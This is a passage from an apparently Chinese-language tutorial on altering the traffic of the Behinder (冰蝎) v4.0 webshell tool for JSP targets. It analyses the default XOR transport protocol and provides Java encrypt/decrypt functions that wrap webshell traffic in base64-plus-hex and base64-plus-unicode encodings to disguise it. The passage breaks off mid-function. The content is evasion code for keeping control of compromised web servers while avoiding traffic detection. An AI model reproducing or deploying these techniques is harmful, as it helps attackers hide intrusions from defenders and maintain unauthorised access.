0x00 前言
冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式
0x01传输协议分析
冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式
以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密
效果如下:
我们来去掉加密解密函数的相关代码
如果不用任何加解密函数,request body其实传输的是java 字节码
响应体其实也是明文的固定格式的json类型
{"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}
0x02冰蝎4.0魔改
变换加密方式
冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,本次列举hex、unicode、rot13等加密方式
hex加密
前面已经分析过传输的data明文数据,所以在它基础上进行base64编码+hex编码,写上加解密函数即可实现hex加密流量
加密函数:
private byte[] Encrypt(byte[] data) throws Exception { String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"); String str=""; for (int i=0;i<result.length();i++){ int ch = (int)result.charAt(i); String s4 = Integer.toHexString(ch); str = str + s4; } return str.getBytes(); }
解密函数:
private byte[] Decrypt(byte[] data) throws Exception { String s= new String(data); byte[] baKeyword = new byte[s.length()/2]; for(int i = 0; i < baKeyword.length; i++){ try{ baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16)); }catch(Exception e){ e.printStackTrace(); } } try{ s = new String(baKeyword, "utf-8"); }catch (Exception e1){ e1.printStackTrace(); } byte[] str = java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/")); return str; }
通信流量如下:
unicode加密
在base64编码的基础上加一层unicode编码,写unicode编码的加解密函数
加密函数:
private byte[] Encrypt(byte[] data) throws Exception { String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"); String str=""; StringBuffer unicode = new StringBuffer(); for(int i = 0; i < result.length(); i++){ char c = result.charAt(i); unicode.append("\\u00" + Integer.toHexString(c)); } return unicode.toString().getBytes(); }
解密函数:
private byte[] Decrypt(byte[] data) throws Exception { String unicode= new String(data); StringBuilder sb = new StringBuilder(); int i = -1; int pos = 0; while ((i = unicode.indexOf("\